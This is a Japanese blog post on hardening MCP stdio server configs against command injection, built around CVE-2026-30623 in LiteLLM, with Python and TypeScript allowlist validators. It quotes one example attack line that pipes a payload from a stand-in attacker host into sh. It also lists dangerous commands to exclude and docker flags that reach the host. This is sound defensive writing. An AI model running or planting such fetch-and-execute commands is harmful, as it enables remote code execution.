MCPのセキュリティ対策、ドメイン制御だけじゃ足りなかった話 — コマンド実行allowlistの作り方
前の記事でWebSearch MCPの allowed_domains / blocked_domains によるドメイン制御を書いた。でも調べていくうちに「それだけじゃ足りない」と気づいた。MCPのセキュリティリスクはWebコンテンツの中身だけじゃなく、MCPサーバー起動時のコマンド実行にもある。今回はCVE-2026-30623を軸に、stdioトランスポートのコマンドallowlistについてまとめる。
ドメイン制御で防げないリスクがある
前回の記事で触れたとおり、allowlist/denylistはWebSearchが「どのドメインから情報を取ってくるか」を制御するものだ。でも、MCPサーバー自体の起動コマンドに任意のシェルコマンドを渡せてしまう設計上の問題は、ドメイン制御とは別の話になる。
2026年4月に発覚したCVE-2026-30623は、LiteLLM(BerriAI/litellm)のMCPプロキシ実装にコマンドインジェクションの脆弱性があるというものだ。LiteLLMがMCP stdioの command フィールドをバリデーションせずサブプロセスとして実行してしまう実装上の問題で、有効なAPIキーとPROXY_ADMINロールを持つユーザーがRCE(リモートコード実行)を起こせる。v1.83.7-stableで修正済み。AnthropicのMCP SDK自体の脆弱性ではないが、MCPの command フィールドを検証しない実装全般が同じリスクを抱えることを示した事例だ。
stdioトランスポートの仕組みとリスク
設定ファイルで起動コマンドを指定する構造
MCPサーバーをstdioトランスポートで使う場合、mcp_config.json(またはクライアント固有の設定ファイル)に起動コマンドを書く。
{
"mcpServers": {
"websearch": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-brave-search"]
}
}
}
この command フィールドが問題だ。正常なケースでは npx や python を指定するが、悪意ある設定ファイルが混入した場合、curl http://attacker.example/payload | sh のような任意のシェルコマンドが書かれていても、SDKがそのまま実行してしまう実装になっていた。
攻撃経路のイメージ
攻撃者が狙うのは設定ファイルの供給経路だ。たとえば、npmパッケージやGitHubリポジトリに仕込まれた mcp_config.json のサンプル、プロジェクトテンプレートに含まれる設定ファイル、あるいはCI/CDパイプラインで自動生成される設定などが対象になりうる。設定ファイルを「信頼できる入力」として扱っていると、そこが侵入口になる。
コマンドallowlistの実装方法
許可コマンドを明示的に絞る
対策の核心は「起動できるコマンドをallowlistで制限する」ことだ。現在のベストプラクティスとして広く認められているのは、以下のコマンドのみをallowlistに含める方針だ。
# MCP stdioトランスポートで許可するコマンド(推奨allowlist)
ALLOWED_COMMANDS = {
"npx", # Node.jsパッケージランナー
"uvx", # Pythonパッケージランナー(uv)
"python", # Python直接実行
"python3", # Python3直接実行
"node", # Node.js直接実行
"docker", # Dockerコンテナ経由
"deno", # Deno実行環境
}
# allowlist外は全拒否。以下は例示だが、当然ブロックされる
# DANGEROUS(絶対に入れない):
# "rm", "sudo", "curl", "wget", "bash", "sh", "zsh",
# "chmod", "chown", "kill", "pkill", "dd", "mkfs"
Pydantic等のバリデーション層でコマンド名(basename)をallowlistと照合し、マッチしない場合はリクエスト解析の時点ではじく。allowlistの設計では「明示的に許可したもの以外は全拒否」が原則なので、rm や sudo をわざわざdenylistに書く必要はない——許可リストに入っていなければ自動的に弾かれる。ただし、設計の意図を明文化しておくためにコメントで危険コマンドの例を残しておくと、チームへの説明がしやすい。
Python実装例
import os
from pydantic import BaseModel, field_validator
ALLOWED_COMMANDS = {"npx", "uvx", "python", "python3", "node", "docker", "deno"}
class StdioServerConfig(BaseModel):
command: str
args: list[str] = []
@field_validator("command")
@classmethod
def validate_command(cls, v: str) -> str:
basename = os.path.basename(v)
if basename not in ALLOWED_COMMANDS:
raise ValueError(
f"Command '{basename}' is not in the allowed list. "
f"Allowed: {sorted(ALLOWED_COMMANDS)}"
)
return v
設定ファイルを読み込む際にこのモデルでパースすれば、allowlist外のコマンドは ValidationError として弾かれる。シェルに渡る前に処理が止まるので、コマンドインジェクションの経路を塞げる。
TypeScript / JSON Schema での検証
TypeScriptベースのMCPクライアントでは、JSON Schemaのenum制約でallowlistを表現できる。
const StdioConfigSchema = z.object({
command: z.string().refine(
(cmd) => {
const basename = cmd.split("/").pop() ?? cmd;
return ALLOWED_COMMANDS.has(basename);
},
{ message: "Command not in allowlist" }
),
args: z.array(z.string()).default([]),
});
ドメイン制御とコマンドallowlistの使い分け
| 対策 | 何を防ぐか | 設定場所 |
|---|---|---|
| ドメインallowlist ( allowed_domains) |
信頼できないWebコンテンツの取り込み・間接プロンプトインジェクション | WebSearchツールの呼び出し引数 |
| コマンドallowlist | 悪意ある設定ファイル経由のRCE・コマンドインジェクション | MCPサーバー設定のパース時バリデーション |
どちらか一方だけでは守れない層がある。ドメイン制御はコンテンツレベルの話で、コマンドallowlistは設定・起動レベルの話だ。両方を組み合わせて初めて、外部から供給される入力全体をカバーできる。
企業・チームで使う場合は職種別にallowlistを変える
個人開発なら先ほどの7コマンドのallowlistをそのまま使えばいい。だが企業内でMCPを展開する場合、職種やスキルレベルによって適切な許可範囲が異なる。「全員に同じallowlist」は利便性か安全性のどちらかを犠牲にしやすい。
| ロール | 推奨allowlist | 理由 |
|---|---|---|
| 一般職・非エンジニア | npx・uvx のみ |
パッケージランナー経由に限定。任意スクリプトの直接実行を防ぐ |
| エンジニア | フルリスト(7コマンド) | 開発ワークフローに必要。docker は引数検証も追加推奨 |
| 管理者・セキュリティ担当 | フルリスト+allowlist変更権限 | 設定管理の責任者として変更権を持つ |
MDMで設定を端末に強制適用する
ロール別のallowlistを設計しても、ユーザーが手元で設定ファイルを書き換えられると意味がない。企業環境では Jamf Pro(macOS)や Microsoft Intune(Windows / macOS)などのMDM(Mobile Device Management) を使って設定を端末にプッシュ配布し、ユーザーが上書きできない状態にするのがベストプラクティスだ。
Jamf Proなら Configuration Profile の Custom Settings で、IntuneならカスタムOMA-URIポリシーまたはSettings Catalogで配布できる。Active Directory や Microsoft Entra ID のグループ情報と連携すれば、職種ごとのプロファイルを自動的に割り当てることも可能だ。管理者が設定ポリシーを変更すると、次回チェックイン時に全端末へ即時反映される。
MDMを使う最大のメリットは「誰がどの設定で動いているか」が一元管理・監査できる点だ。セキュリティインシデントが起きたとき、どの端末にどのallowlistが適用されていたかが追跡できる。
特に注意したいのは docker と python だ。docker は --privileged フラグや -v /:/host のようなボリュームマウントと組み合わさると、コンテナ外のホストに到達できてしまう。python の直接実行も、任意スクリプトを渡せる構造が使い方次第でリスクになる。エンジニア向けであっても、コマンド名のallowlistだけでなく引数レベルの検証を組み合わせることを検討したい。
設定ファイルを「信頼できない入力」として扱う
ここで改めて意識したいのは「設定ファイルもユーザー入力と同じ扱いをする」という原則だ。npmからダウンロードしたパッケージのサンプル設定、他人のGitHubリポジトリをcloneしたときに含まれる設定ファイル、どれも検証なしに実行していい理由はない。
自分がやるようにしたのは、MCP設定ファイルを取り込む前にコマンドフィールドを目視確認すること。自動化する場合はallowlistバリデーションをCI/CDに組み込む方向で考えている。面倒に感じるけど、RCEの経路を一本塞げると思えばコストは見合う。
まとめ
- CVE-2026-30623はLiteLLMのMCPプロキシ実装にあるコマンドインジェクション脆弱性(v1.83.7-stableで修正済み)
- 設定ファイルの
commandフィールドを検証なしに実行する実装が問題の根本 - 対策はallowlistによる起動コマンド制限(
npx・uvx・python・node・docker・denoのみ許可) - ドメイン制御はコンテンツレベル、コマンドallowlistは起動レベルの対策で、両方必要
WebSearch MCPのドメイン制御については前の記事で詳しく書いている。MCPセキュリティ全般の設計についてはこちらもあわせてどうぞ。